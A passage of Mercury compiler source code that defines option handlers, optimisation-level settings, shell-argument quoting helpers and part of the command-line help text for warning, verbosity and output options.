inhibit_accumulator_warnings    -   bool(Inhibit),\n            warn_singleton_vars             -   bool(Enable),\n            warn_overlapping_scopes         -   bool(Enable),\n            warn_det_decls_too_lax          -   bool(Enable),\n            warn_inferred_erroneous         -   bool(Enable),\n            warn_nothing_exported           -   bool(Enable),\n            warn_interface_imports          -   bool(Enable),\n            warn_missing_opt_files          -   bool(Enable),\n            warn_missing_trans_opt_files    -   bool(Enable),\n            warn_missing_trans_opt_deps     -   bool(Enable),\n            warn_unification_cannot_succeed -   bool(Enable),\n            warn_simple_code                -   bool(Enable),\n            warn_missing_module_name        -   bool(Enable),\n            warn_wrong_module_name          -   bool(Enable),\n            warn_smart_recompilation        -   bool(Enable),\n            warn_undefined_options_variables -  bool(Enable),\n            warn_target_code                -   bool(Enable),\n            warn_up_to_date                 -   bool(Enable),\n            warn_stubs                      -   bool(Enable),\n            warn_dead_procs                 -   bool(Enable),\n            warn_table_with_inline          -   bool(Enable),\n            warn_non_term_special_preds     -   bool(Enable),\n            warn_insts_without_matching_type -  bool(Enable)\n        ], !OptionTable).\nspecial_handler(infer_all, bool(Infer), !.OptionTable, ok(!:OptionTable)) :-\n    override_options([\n            infer_types                     -   bool(Infer),\n            infer_modes                     -   bool(Infer),\n            infer_det                       -   bool(Infer)\n        ], !OptionTable).\nspecial_handler(opt_space, none, !.OptionTable, ok(!:OptionTable)) :-\n    opt_space(OptionSettingsList),\n    override_options(OptionSettingsList, !OptionTable).\nspecial_handler(opt_level, int(N0), !.OptionTable, ok(!:OptionTable)) :-\n    ( N0 > 6 ->\n        N = 6\n    ; N0 < -1 ->\n        N = -1\n    ;\n        N = N0\n    ),\n    map.set(opt_level_number, int(N), !OptionTable),\n    set_opt_level(N, !OptionTable).\nspecial_handler(optimize_saved_vars, bool(Optimize),\n        !.OptionTable, ok(!:OptionTable)) :-\n    map.set(optimize_saved_vars_const, bool(Optimize), !OptionTable),\n    map.set(optimize_saved_vars_cell, bool(Optimize), !OptionTable).\nspecial_handler(mercury_library_directory_special, string(Dir),\n        !.OptionTable, ok(!:OptionTable)) :-\n    !:OptionTable = option_table_add_mercury_library_directory(\n        !.OptionTable, Dir).\nspecial_handler(search_library_files_directory_special, string(Dir),\n        OptionTable0, ok(OptionTable)) :-\n    OptionTable = option_table_add_search_library_files_directory(\n        OptionTable0, Dir).\nspecial_handler(mercury_library_special, string(Lib),\n        OptionTable0, ok(OptionTable)) :-\n    OptionTable =\n        list.foldl(append_to_accumulating_option, [\n            link_libraries                  - Lib,\n            mercury_libraries               - Lib,\n            init_files                      - (Lib ++ \".init\")\n        ], OptionTable0).\nspecial_handler(mercury_standard_library_directory_special,\n        maybe_string(MaybeStdLibDir), OptionTable0, ok(OptionTable)) :-\n    OptionTable =\n        map.set(map.set(OptionTable0,\n        mercury_standard_library_directory, maybe_string(MaybeStdLibDir)),\n        mercury_configuration_directory, maybe_string(MaybeStdLibDir)).\nspecial_handler(mercury_configuration_directory_special,\n        string(ConfDir), OptionTable0, ok(OptionTable)) :-\n    OptionTable = map.set(OptionTable0, mercury_configuration_directory,\n        maybe_string(yes(ConfDir))).\nspecial_handler(quoted_cflag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(cflags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_gcc_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(gcc_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_clang_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(clang_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_msvc_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(msvc_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_java_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(java_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_ilasm_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(ilasm_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_csharp_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(csharp_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_erlang_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(erlang_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_ld_flag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(ld_flags, Flag, OptionTable0, OptionTable).\nspecial_handler(quoted_ld_libflag, string(Flag),\n        OptionTable0, ok(OptionTable)) :-\n    handle_quoted_flag(ld_libflags, Flag, OptionTable0, OptionTable).\nspecial_handler(linkage_special, string(Flag), OptionTable0, Result) :-\n    ( ( Flag = \"shared\" ; Flag = \"static\" ) ->\n        Result = ok(\n            (OptionTable0 ^ elem(mercury_linkage) := string(Flag))\n                ^ elem(linkage) := string(Flag))\n    ;\n        Result = error(\"argument of `--linkage' should be either \" ++\n            \"\"\"shared\"\" or \"\"static\"\".\")\n    ).\nspecial_handler(mercury_linkage_special, string(Flag),\n            OptionTable0, Result) :-\n    ( ( Flag = \"shared\" ; Flag = \"static\" ) ->\n        Result = ok(OptionTable0 ^ elem(mercury_linkage) := string(Flag))\n    ;\n        Result = error(\"argument of `--mercury-linkage' should be either \" ++\n            \"\"\"shared\"\" or \"\"static\"\".\")\n    ).\n\nspecial_handler(env_type, string(EnvTypeStr), OptionTable0, ok(OptionTable)) :-\n    OptionTable =\n        map.set(map.set(OptionTable0,\n        host_env_type, string(EnvTypeStr)),\n        target_env_type, string(EnvTypeStr)).\n\nspecial_handler(inform_inferred, bool(Inform), !.OptionTable,\n        ok(!:OptionTable)) :-\n    override_options([\n            inform_inferred_types -   bool(Inform),\n            inform_inferred_modes -   bool(Inform)\n        ], !OptionTable).\n\n%-----------------------------------------------------------------------------%\n\noption_table_add_mercury_library_directory(OptionTable0, Dir) =\n    % The init_file_directories and link_library_directories for Mercury\n    % libraries are grade dependent, so they need to be handled in\n    % handle_options.m after we know the grade.\n    list.foldl(append_to_accumulating_option, [\n        search_directories          - dir.make_path_name(Dir, \"ints\"),\n        c_include_directory         - dir.make_path_name(Dir, \"inc\"),\n        erlang_include_directory    - dir.make_path_name(Dir, \"inc\"),\n        mercury_library_directories - Dir\n    ], OptionTable0).\n\noption_table_add_search_library_files_directory(OptionTable0, Dir) =\n    % Grade dependent directories need to be handled in handle_options.m\n    % after we know the grade.\n    list.foldl(append_to_accumulating_option, [\n        search_directories          - Dir,\n        c_include_directory         - Dir,\n        erlang_include_directory    - Dir,\n        search_library_files_directories - Dir\n    ], OptionTable0).\n\n:- func append_to_accumulating_option(pair(option, string),\n        option_table) = option_table.\n\nappend_to_accumulating_option(Option - Value, OptionTable0) =\n    OptionTable0 ^ elem(Option) :=\n        accumulating(\n            getopt_io.lookup_accumulating_option(OptionTable0, Option)\n        ++ [Value]).\n\n:- pred set_opt_level(int::in, option_table::in, option_table::out) is det.\n\nset_opt_level(N, !OptionTable) :-\n    % First reset all optimizations to their default\n    % (the default should be all optimizations off).\n    option_defaults_2(optimization_option, OptimizationDefaults),\n    override_options(OptimizationDefaults, !OptionTable),\n\n    % Next enable the optimization levels from 0 up to N.\n    enable_opt_levels(0, N, !OptionTable).\n\n:- pred enable_opt_levels(int::in, int::in,\n    option_table::in, option_table::out) is det.\n\nenable_opt_levels(N0, N, !OptionTable) :-\n    ( N0 > N ->\n        true\n    ; opt_level(N0, !.OptionTable, OptionSettingsList) ->\n        override_options(OptionSettingsList, !OptionTable),\n        N1 = N0 + 1,\n        enable_opt_levels(N1, N, !OptionTable)\n    ;\n        unexpected($module, $pred, \"unknown optimization level\")\n    ).\n\n:- pred override_options(list(pair(option, option_data))::in,\n    option_table::in, option_table::out) is det.\n\noverride_options([], !OptionTable).\noverride_options([Option - Value | Settings], !OptionTable) :-\n    map.set(Option, Value, !OptionTable),\n    override_options(Settings, !OptionTable).\n\n%-----------------------------------------------------------------------------%\n\n:- pred opt_space(list(pair(option, option_data))::out) is det.\n\nopt_space([\n    unneeded_code_copy_limit    -   int(1),\n    optimize_dead_procs         -   bool(yes),\n    optimize_labels             -   bool(yes),\n    optimize_dups               -   bool(yes),\n    optimize_proc_dups          -   bool(yes),\n    optimize_fulljumps          -   bool(no),\n    optimize_reassign           -   bool(yes),\n    inline_alloc                -   bool(no),\n    use_macro_for_redo_fail     -   bool(no),\n    loop_invariants             -   bool(no)\n]).\n\n%-----------------------------------------------------------------------------%\n\n:- pred opt_level(int::in, option_table::in,\n    list(pair(option, option_data))::out) is semidet.\n\n% Optimization level -1:\n% Generate totally unoptimized code; turns off ALL optimizations that\n% can be turned off, including HLDS->HLDS, HLDS->LLDS, LLDS->LLDS, LLDS->C,\n% and C->object optimizations.\n% (However, there are some optimizations that can't be disabled.)\n\n% Optimization level 0: aim to minimize overall compilation time.\n% XXX I just guessed.  We should run lots of experiments.\n\nopt_level(0, _, [\n    common_data                 -   bool(yes),\n    optimize                    -   bool(yes),\n    optimize_repeat             -   int(1),\n    optimize_peep               -   bool(yes),\n    optimize_peep_mkword        -   bool(yes),\n    static_ground_cells         -   bool(yes),\n    smart_indexing              -   bool(yes),\n    optimize_jumps              -   bool(yes),\n    optimize_labels             -   bool(yes),\n    optimize_dead_procs         -   bool(yes),\n    excess_assign               -   bool(yes)   % ???\n]).\n\n% Optimization level 1: apply optimizations which are cheap and\n% have a good payoff while still keeping compilation time small.\n\nopt_level(1, OptionTable, [\n    use_local_vars              -   bool(yes),\n    c_optimize                  -   bool(yes),  % XXX we want `gcc -O1'\n    optimize_frames             -   bool(yes),\n    optimize_delay_slot         -   bool(DelaySlot),\n    middle_rec                  -   bool(yes),\n    emit_c_loops                -   bool(yes),\n    optimize_tailcalls          -   bool(yes)\n    % dups?\n]) :-\n    getopt_io.lookup_bool_option(OptionTable, have_delay_slot, DelaySlot).\n\n% Optimization level 2: apply optimizations which have a good\n% payoff relative to their cost; but include optimizations\n% which are more costly than with -O1.\n\nopt_level(2, _, [\n    optimize_fulljumps          -   bool(yes),\n    optimize_repeat             -   int(3),\n    optimize_dups               -   bool(yes),\n    follow_code                 -   bool(yes),\n    inline_simple               -   bool(yes),\n    inline_single_use           -   bool(yes),\n    inline_compound_threshold   -   int(10),\n    common_struct               -   bool(yes),\n    user_guided_type_specialization -   bool(yes),\n    % XXX While inst `array' is defined as `ground', we can't optimize\n    % duplicate calls (we might combine calls to `array.init').\n    % optimize_duplicate_calls  -   bool(yes),\n    simple_neg                  -   bool(yes),\n\n    optimize_initializations    -  bool(yes)\n]).\n\n% Optimization level 3: apply optimizations which usually have a good\n% payoff even if they increase compilation time quite a bit.\n\nopt_level(3, _, [\n    optimize_saved_vars_const   - bool(yes),\n    optimize_unused_args        -   bool(yes),\n    optimize_higher_order       -   bool(yes),\n    deforestation               -   bool(yes),\n    local_constraint_propagation -  bool(yes),\n    constant_propagation        -   bool(yes),\n    optimize_reassign           -   bool(yes),\n    % Disabled until a bug in extras/trailed_update/var.m is resolved.\n    % introduce_accumulators    -   bool(yes),\n    optimize_repeat             -   int(4)\n]).\n\n% Optimization level 4: apply optimizations which may have some\n% payoff even if they increase compilation time quite a bit.\n\n% Currently this enables the use of local variables\n% and increases the inlining thresholds.\n\nopt_level(4, _, [\n    inline_simple_threshold     -   int(8),\n    inline_compound_threshold   -   int(20),\n    higher_order_size_limit     -   int(30)\n]).\n\n% Optimization level 5: apply optimizations which may have some\n% payoff even if they increase compilation time a lot.\n\n% Currently this enables the search for construction unifications that can be\n% delayed past failing computations, allows more passes of the low-level\n% optimizations, and increases the inlining thresholds still further.\n% We also enable eliminate_local_vars only at this level,\n% because that pass is implemented pretty inefficiently.\n\nopt_level(5, _, [\n    optimize_repeat             -   int(5),\n    delay_construct             -   bool(yes),\n    inline_compound_threshold   -   int(100),\n    higher_order_size_limit     -   int(40),\n    eliminate_local_vars        -   bool(yes),\n    loop_invariants             -   bool(yes)\n]).\n\n% Optimization level 6: apply optimizations which may have any payoff even if\n% they increase compilation time to completely unreasonable levels.\n\n% Currently this sets `everything_in_one_c_function', which causes the compiler\n% to put everything in the one C function and treat calls to predicates in the\n% same module as local. We also enable inlining of GC_malloc(), redo(), and\n% fail().\n\nopt_level(6, _, [\n    procs_per_c_function        -   int(0), % everything in one C function\n    inline_alloc                -   bool(yes),\n    use_macro_for_redo_fail     -   bool(yes)\n]).\n\n% The following optimization options are not enabled at any level:\n%\n%   checked_nondet_tailcalls:\n%       This is deliberate, because the transformation\n%       might make code run slower.\n%\n%   constraint_propagation:\n%       I think this is deliberate, because the transformation\n%       might make code run slower?\n%\n%   unneeded_code:\n%       Because it can cause slowdowns at high optimization levels;\n%       cause unknown\n%   type_specialization:\n%       XXX why not?\n%\n%   introduce_accumulators:\n%       XXX Disabled until a bug in extras/trailed_update/var.m\n%       is resolved.\n%\n%   optimize_constructor_last_call:\n%       Not a speedup in general.\n\n%-----------------------------------------------------------------------------%\n\n:- pred handle_quoted_flag(option::in, string::in,\n    option_table::in, option_table::out) is det.\n\nhandle_quoted_flag(Option, Flag, Table,\n    append_to_accumulating_option(Option - quote_arg(Flag), Table)).\n\nquote_arg(Arg0) = Arg :-\n    % XXX Instead of using dir.use_windows_paths, this should really\n    % test whether we are using a Unix or Windows shell.\n    ( dir.use_windows_paths ->\n        ( ( string_contains_whitespace(Arg0) ; Arg0 = \"\" ) ->\n            Arg = \"\"\"\" ++ Arg0 ++ \"\"\"\"\n        ;\n            Arg = Arg0\n        )\n    ;\n        ArgList = quote_arg_unix(string.to_char_list(Arg0)),\n        (\n            ArgList = [],\n            Arg = \"\"\"\"\"\"\n        ;\n            ArgList = [_ | _],\n            (\n                list.member(Char, ArgList),\n                \\+\n                    ( char.is_alnum_or_underscore(Char)\n                    ; Char = ('-')\n                    ; Char = ('/')\n                    ; Char = ('.')\n                    ; Char = (',')\n                    ; Char = (':')\n                    )\n            ->\n                Arg = \"\"\"\" ++ string.from_char_list(ArgList) ++ \"\"\"\"\n            ;\n                Arg = string.from_char_list(ArgList)\n            )\n        )\n    ).\n\n:- pred string_contains_whitespace(string::in) is semidet.\n\nstring_contains_whitespace(Str) :-\n    Chars = string.to_char_list(Str),\n    some [Char] (\n        list.member(Char, Chars),\n        char.is_whitespace(Char)\n    ).\n\n:- func quote_arg_unix(list(char)) = list(char).\n\nquote_arg_unix([]) = [].\nquote_arg_unix([Char | Chars0]) = Chars :-\n    Chars1 = quote_arg_unix(Chars0),\n    ( quote_char_unix(Char) ->\n        Chars = [('\\\\'), Char | Chars1]\n    ;\n        Chars = [Char | Chars1]\n    ).\n\n:- pred quote_char_unix(char::in) is semidet.\n\nquote_char_unix('\\\\').\nquote_char_unix('\"').\nquote_char_unix('`').\nquote_char_unix('$').\n\n%-----------------------------------------------------------------------------%\n\ninconsequential_options(InconsequentialOptions) :-\n    option_defaults_2(warning_option, WarningOptions),\n    option_defaults_2(verbosity_option, VerbosityOptions),\n    option_defaults_2(internal_use_option, InternalUseOptions),\n    option_defaults_2(build_system_option, BuildSystemOptions),\n    assoc_list.keys(WarningOptions, WarningKeys),\n    assoc_list.keys(VerbosityOptions, VerbosityKeys),\n    assoc_list.keys(InternalUseOptions, InternalUseKeys),\n    assoc_list.keys(BuildSystemOptions, BuildSystemKeys),\n    Keys = WarningKeys ++ VerbosityKeys ++ InternalUseKeys ++ BuildSystemKeys,\n    InconsequentialOptions = set.from_list(Keys).\n\n%-----------------------------------------------------------------------------%\n\noptions_help -->\n    io.write_string(\"\\t-?, -h, --help\\n\"),\n    io.write_string(\"\\t\\tPrint this usage message.\\n\"),\n    options_help_warning,\n    options_help_verbosity,\n    options_help_output,\n    options_help_aux_output,\n    options_help_semantics,\n    options_help_termination,\n    options_help_ctgc,\n    options_help_compilation_model,\n    options_help_code_generation,\n    options_help_optimization,\n    options_help_hlds_hlds_optimization,\n    options_help_hlds_llds_optimization,\n    options_help_llds_llds_optimization,\n    options_help_mlds_mlds_optimization,\n    options_help_hlds_elds_optimization,\n    options_help_output_optimization,\n    options_help_target_code_compilation,\n    options_help_link,\n    options_help_build_system,\n    options_help_misc.\n\n:- pred options_help_warning(io::di, io::uo) is det.\n\noptions_help_warning -->\n    io.write_string(\"\\nWarning Options:\\n\"),\n    write_tabbed_lines([\n        \"-w, --inhibit-warnings\",\n        \"\\tDisable all warning messages.\",\n        \"--halt-at-warn\",\n        \"\\tThis option causes the compiler to treat all \",\n        \"\\twarnings as if they were errors.  This means that\",\n        \"\\tif any warning is issued, the compiler will not\",\n        \"\\tgenerate code --- instead, it will return a\",\n        \"\\tnon-zero exit status.\",\n        \"--halt-at-syntax-errors\",\n        \"\\tThis option causes the compiler to halt immediately\",\n        \"\\tafter syntax checking and not do any semantic checking\",\n        \"\\tif it finds any syntax errors in the program.\",\n%       \"--halt-at-auto-parallel-failure\",\n%       \"\\tThis option causes the compiler to halt if it cannot perform\",\n%       \"\\tan auto-parallelization requested by a feedback file.\",\n        \"--inhibit-accumulator-warnings\",\n        \"\\tDon't warn about argument order rearrangement caused\",\n        \"\\tby --introduce-accumulators.\",\n        \"--no-warn-singleton-variables\",\n        \"\\tDon't warn about variables which only occur once.\",\n        \"--no-warn-overlapping-scopes\",\n        \"\\tDon't warn about variables which occur in overlapping scopes.\",\n        \"--no-warn-det-decls-too-lax\",\n        \"\\tDon't warn about determinism declarations\",\n        \"\\twhich could have been stricter.\",\n        \"--no-warn-inferred-erroneous\",\n        \"\\tDon't warn about procedures whose determinism is inferred\",\n        \"\\terroneous but whose determinism declarations are laxer.\",\n        \"--no-warn-insts-without-matching-type\",\n        \"\\tDon't warn about insts that are not consistent with any\",\n        \"\\tof the types in scope.\",\n        % XXX disabled until compiler unused_imports,\n        % don't forget to update the user_guide.texi\n        % \"--no-warn-unused-imports\",\n        % \"\\tDon't warn about modules that are imported but not used.\",\n        \"--warn-unused-imports\",\n        \"\\tWarn about modules that are imported but not used.\",\n        \"--no-warn-nothing-exported\",\n        \"\\tDon't warn about modules which export nothing.\",\n        \"--warn-unused-args\",\n        \"\\tWarn about predicate arguments which are not used.\",\n        \"--warn-interface-imports\",\n        \"\\tWarn about modules imported in the interface, but\",\n        \"\\twhich are not used in the interface.\",\n        \"--no-warn-missing-opt-files\",\n        \"\\tDisable warnings about `.opt' files which cannot be opened.\",\n        \"--warn-missing-trans-opt-files\",\n        \"\\tEnable warnings about `.trans_opt' files which cannot\",\n        \"\\tbe opened.\",\n        \"--no-warn-missing-trans-opt-deps\",\n        \"\\tDisable warnings produced when the information required\",\n        \"\\tto allow `.trans_opt' files to be read when creating other\",\n        \"\\t`.trans_opt' files has been lost.  The information can be\",\n        \"\\trecreated by running `mmake <mainmodule>.depend'\",\n        \"--no-warn-non-contiguous-clauses\",\n        \"\\tDo not generate a warning if the clauses of a predicate or function\",\n        \"\\tare not contiguous.\",\n        \"--warn-non-contiguous-foreign-procs\",\n        \"\\tGenerate a warning if the clauses and foreign_procs of a predicate\",\n        \"\\tor function are not contiguous.\",\n        \"--warn-non-stratification\",\n        \"\\tWarn about possible non-stratification of the predicates and/or\",\n        \"\\tfunctions in the module.\",\n        \"\\tNon-stratification occurs when a predicate or function can call\",\n        \"\\titself negatively through some path along its call graph.\",\n        \"--no-warn-unification-cannot-succeed\",\n        \"\\tDisable warnings about unifications which cannot succeed.\",\n        \"--no-warn-simple-code\",\n        \"\\tDisable warnings about constructs which are so\",\n        \"\\tsimple that they are likely to be programming errors.\",\n        \"--warn-duplicate-calls\",\n        \"\\tWarn about multiple calls to a predicate with the\",\n        \"\\tsame input arguments.\",\n        \"--no-warn-missing-module-name\",\n        \"\\tDisable warnings for modules that do no start with\",\n        \"\\ta `:- module' declaration.\",\n        \"--no-warn-wrong-module-name\",\n        \"\\tDisable warnings for modules whose `:- module'\",\n        \"\\tdeclaration does not match the module's file name.\",\n        \"--no-warn-smart-recompilation\",\n        \"\\tDisable warnings from the smart recompilation system.\",\n        \"--no-warn-undefined-options-variables\",\n        \"\\tDo not warn about references to undefined variables in\",\n        \"\\toptions files with `--make'.\",\n        \"--warn-non-tail-recursion\",\n        \"\\tWarn about any directly recursive calls that are not tail calls.\",\n        \"--no-warn-up-to-date\",\n        \"\\tDon't warn if targets specified on the command line\",\n        \"\\twith `--make' are already up to date.\",\n        \"--no-warn-stubs\",\n        \"\\tDisable warnings about procedures for which there are no\",\n        \"\\tclauses.  Note that this option only has any effect if\",\n        \"\\tthe `--allow-stubs' option (described in the \"\"Language\",\n        \"\\tSemantics Options\"\" section below) is enabled.\",\n        \"--warn-dead-procs\",\n        \"\\tWarn about procedures which are never called.\",\n        \"--no-warn-target-code\",\n        \"\\tDisable warnings from the compiler used to process the\",\n        \"\\ttarget code (e.g. gcc).\",\n        \"--no-warn-table-with-inline\",\n        \"\\tDisable warnings about tabled procedures that also have\",\n        \"\\ta `pragma inline' declaration.\",\n        \"--no-warn-non-term-special-preds\",\n        \"\\tDo not warn about types that have user-defined equality or\",\n        \"\\tcomparison predicates that cannot be proved to terminate.\",\n        \"\\tThis option is only enabled when termination analysis is enabled.\",\n        \"\\t(See the \"\"Termination Analysis Options\"\" section below).\",\n        \"--no-warn-known-bad-format-calls\",\n        \"\\tDo not warn about calls to string.format or io.format that\",\n        \"\\tthe compiler knows for sure contain mismatches between the\",\n        \"\\tformat string and the supplied values.\",\n        \"--warn-unknown-format-calls\",\n        \"\\tWarn about calls to string.format or io.format for which\",\n        \"\\tthe compiler cannot tell whether there are any mismatches\",\n        \"\\tbetween the format string and the supplied values.\",\n        \"--no-warn-obsolete\",\n        \"\\tDo not warn about calls to predicates or functions that have\",\n        \"\\tbeen marked as obsolete.\",\n        \"--inform-ite-instead-of-switch\",\n        \"\\tGenerate informational messages for if-then-elses that could be\",\n        \"\\treplaced by switches.\",\n        \"--no-warn-unresolved-polymorphism\",\n        \"\\tDo not warn about unresolved polymorphism.\",\n        \"--warn-suspicious-foreign-procs\",\n        \"\\tWarn about possible errors in the bodies of foreign\",\n        \"\\tprocedures.\",\n        \"--no-warn-state-var-shadowing\",\n        \"\\tDo not warn about one state variable shadowing another.\",\n        \"--no-inform-inferred\",\n        \"\\tDo not generate messages about inferred types or modes.\",\n        \"--no-inform-inferred-types\",\n        \"\\tDo not generate messages about inferred types.\",\n        \"--no-inform-inferred-modes\",\n        \"\\tDo not generate messages about inferred modes.\"\n    ]).\n\n:- pred options_help_verbosity(io::di, io::uo) is det.\n\noptions_help_verbosity -->\n    io.write_string(\"\\nVerbosity Options:\\n\"),\n    write_tabbed_lines([\n        \"-v, --verbose\",\n        \"\\tOutput progress messages at each stage in the compilation.\",\n        \"-V, --very-verbose\",\n        \"\\tOutput very verbose progress messages.\",\n        \"-E, --verbose-error-messages\",\n        \"\\tExplain error messages.  Asks the compiler to give you a more\",\n        \"\\tdetailed explanation of any errors it finds in your program.\",\n        \"--no-verbose-make\",\n        \"\\tDisable messages about the progress of builds using\",\n        \"\\tthe `--make' option.\",\n        \"--verbose-commands\",\n        \"\\tOutput each external command before it is run.\",\n        \"\\tNote that some commands will only be printed with `--verbose'.\",\n        \"--verbose-recompilation\",\n        \"\\tWhen using `--smart-recompilation', output messages\",\n        \"\\texplaining why a module needs to be recompiled.\",\n        \"--find-all-recompilation-reasons\",\n        \"\\tFind all the reasons why a module needs to be recompiled,\",\n        \"\\tnot just the first.  Implies `--verbose-recompilation'.\",\n        \"--output-compile-error-lines <n>\",\n        \"\\tWith `--make', output the first <n> lines of the `.err'\",\n        \"\\tfile after compiling a module (default: 15).\",\n        \"--report-cmd-line-args-doterr\",\n        \"\\tReport the command line arguments.\",\n        \"--report-cmd-line-args-in-doterr\",\n        \"\\tReport the command line arguments for compilations whose output\",\n        \"\\tmmake normally redirects to a .err file.\",\n        \"-S, --statistics\",\n        \"\\tOutput messages about the compiler's time/space usage.\",\n        \"\\tAt the moment this option implies `--no-trad-passes', so you get\",\n        \"\\tinformation at the boundaries between phases of the compiler.\",\n% The only sensible way to use --detailed-statistics, based on --very-verbose,\n% is implemented automatically in handle_options, so users shouldn't need to be\n% aware of it.\n%       \"--detailed-statistics\",\n%       \"\\tOutput more detailed messages about the compiler's\",\n%       \"\\ttime/space usage.\",\n        \"--proc-size-statistics <filename>\",\n        \"\\tAppend information about the size of each procedure in the module\",\n        \"\\tin terms of goals and variables to the end of the named file.\",\n% --debug-types works only if the compiler was compiled with\n% \"--trace-flag type_checkpoint\".\n%       \"-T, --debug-types\",\n%       \"\\tOutput detailed debugging traces of the type checking.\",\n        \"-N, --debug-modes\",\n        \"\\tOutput debugging traces of the mode checking.\",\n        \"--debug-modes-statistics\",\n        \"\\tOutput statistics after each step of mode checking.\",\n        \"--debug-modes-minimal\",\n        \"\\tOutput only minimal debugging traces of the mode checking.\",\n        \"--debug-modes-verbose\",\n        \"\\tOutput detailed debugging traces of the mode checking.\",\n        \"--debug-modes-pred-id <n>\",\n        \"\\tWith --debug-modes, restrict the debugging traces to the\",\n        \"\\tmode checking of the predicate or function with the specified\",\n        \"\\tpred id.\",\n% --debug-dep-par-conj <n> is a developer only option,\n% and it is effective only if the compiler was compiled with the right\n% trace flags.\n%       \"--debug-dep-par-conj <n>\",\n%       \"\\tOutput detailed debugging traces during the dependent\",\n%       \"\\tAND-parallelism transformation of the predicate with the\",\n%       \"\\tpredicate id.\",\n        \"--debug-det, --debug-determinism\",\n        \"\\tOutput detailed debugging traces of determinism analysis.\",\n% --debug-code-gen-pred-id <n> is a developer only option,\n% and it is effective only if the compiler was compiled with the right\n% trace flags.\n%       \"--debug-code-gen-pred-id <n>\",\n%       \"\\tOutput detailed debugging traces of code generation for the\",\n%       \"\\tpredicate or function with the given pred id.\",\n% The new termination analyser is currently a work-in-progress.\n%\n        %\"--debug-term, --debug-termination\",\n        %\"\\tOutput detailed debugging traces of the termination2 analysis.\",\n        \"--debug-opt\",\n        \"\\tOutput detailed debugging traces of the optimization process.\",\n        \"--debug-opt-pred-id <n>\",\n        \"\\tOutput detailed debugging traces of the optimization process\",\n        \"\\tonly for the predicate/function with the specified pred id.\",\n        \"--debug-opt-pred-name <name>\",\n        \"\\tOutput detailed debugging traces of the optimization process\",\n        \"\\tonly for the predicate/function with the specified name.\",\n        \"--debug-pd\",\n        \"\\tOutput detailed debugging traces of the partial\",\n        \"\\tdeduction and deforestation process.\",\n        \"--debug-liveness <pred_id>\",\n        \"\\tOutput detailed debugging traces of the liveness analysis\",\n        \"\\tof the predicate with the given predicate id.\",\n        \"--debug-make\",\n        \"\\tOutput detailed debugging traces of the `--make' option.\",\n% This can be uncommented when the '--analyse-closures' option is uncommented.\n% (See below.)\n%       \"--debug-closure\",\n%       \"\\tOutput detailed debugging traces of the closure analysis.\"\n        \"--debug-trail-usage\",\n        \"\\tOutput detailed debugging traces of the `--analyse-trail-usage'\",\n        \"\\toption.\",\n        \"--debug-intermodule-analysis\",\n        \"\\tOutput detailed debugging traces of the `--intermodule-analysis'\",\n        \"\\toption.\",\n        \"--debug-indirect-reuse\",\n        \"\\tOutput detailed debugging traces of the indirect reuse pass of\",\n        \"\\t`--structure-reuse' option.\",\n        \"--debug-type-rep\",\n        \"\\tOutput debugging traces of type representation choices.\"\n% The mode constraints code is still experimental so this option is\n% currently commented out.\n%         \"--debug-mode-constraints\",\n%         \"\\tOutput detailed debugging traces of the `--prop-mode-constraints'\",\n%         \"\\toption.\"\n    ]).\n\n:- pred options_help_output(io::di, io::uo) is det.\n\noptions_help_output -->\n    io.write_string(\"\\nOutput Options:\\n\"),\n    write_tabbed_lines([\n        \"These options are mutually exclusive.\",\n        \"Only the first one specified will apply.\",\n        \"If none of these options are specified, the default action\",\n        \"is to link the named modules to produce an executable.\\n\",\n        \"-f, --generate-source-file-mapping\",\n        \"\\tOutput the module name to file name mapping for the list\",\n        \"\\tof source files given as non-option arguments to mmc\",\n        \"\\tto `Mercury.modules'. This must be done before\",\n        \"\\t`mmc --generate-dependencies' if there are any modules\",\n        \"\\tfor which the file name does not match the module name.\",\n        \"\\tIf there are no such modules the mapping need not be\",\n        \"\\tgenerated.\",\n        \"-M, --generate-dependencies\",\n        \"\\tOutput `Make'-style dependencies for the module\",\n        \"\\tand all of its dependencies to `<module>.dep'.\",\n        \"--generate-dependency-file\",\n        \"\\tOutput `Make'-style dependencies for the module\",\n        \"\\tto `<module>.d'.\",\n        \"--generate-module-order\",\n        \"\\tOutput the strongly connected components of the module\",\n        \"\\tdependency graph in top-down order to `<module>.order'.\",\n        \"\\tImplies --generate-dependencies.\",\n        \"--generate-standalone-interface <basename>\",\n        \"\\tOutput a stand-alone interface.\",\n        \"\\t<basename> is used as the basename of any files generated for\",\n        \"\\tthe stand-alone interface.  (See the Stand-alone Interface\",\n        \"\\tchapter of the Mercury User's Guide for further details.)\",\n        \"-i, --make-int, --make-interface\",\n        \"\\tWrite the module interface to `<module>.int',\",\n        \"\\tand write the short interface to `<module>.int2'\",\n        \"\\tThis option should only be used by mmake.\",\n        \"--make-priv-int, --make-private-interface\",\n        \"\\tWrite the private interface to `<module>.int0'.\",\n        \"\\tThis option should only be used by mmake.\",\n        \"--make-short-int, --make-short-interface\",\n        \"\\tWrite the unqualified short interface to `<module>.int3'.\",\n        \"\\tThis option should only be used by mmake.\",\n        \"--make-opt-int, --make-optimization-interface\",\n        \"\\tWrite inter-module optimization information to\",\n        \"\\t`<module>.opt'.\",\n        \"\\tThis option should only be used by mmake.\",\n        \"--make-trans-opt\",\n        \"--make-transitive-optimization-interface\",\n        \"\\tOutput transitive optimization information\",\n        \"\\tinto the `<module>.trans_opt' file.\",\n        \"\\tThis option should only be used by 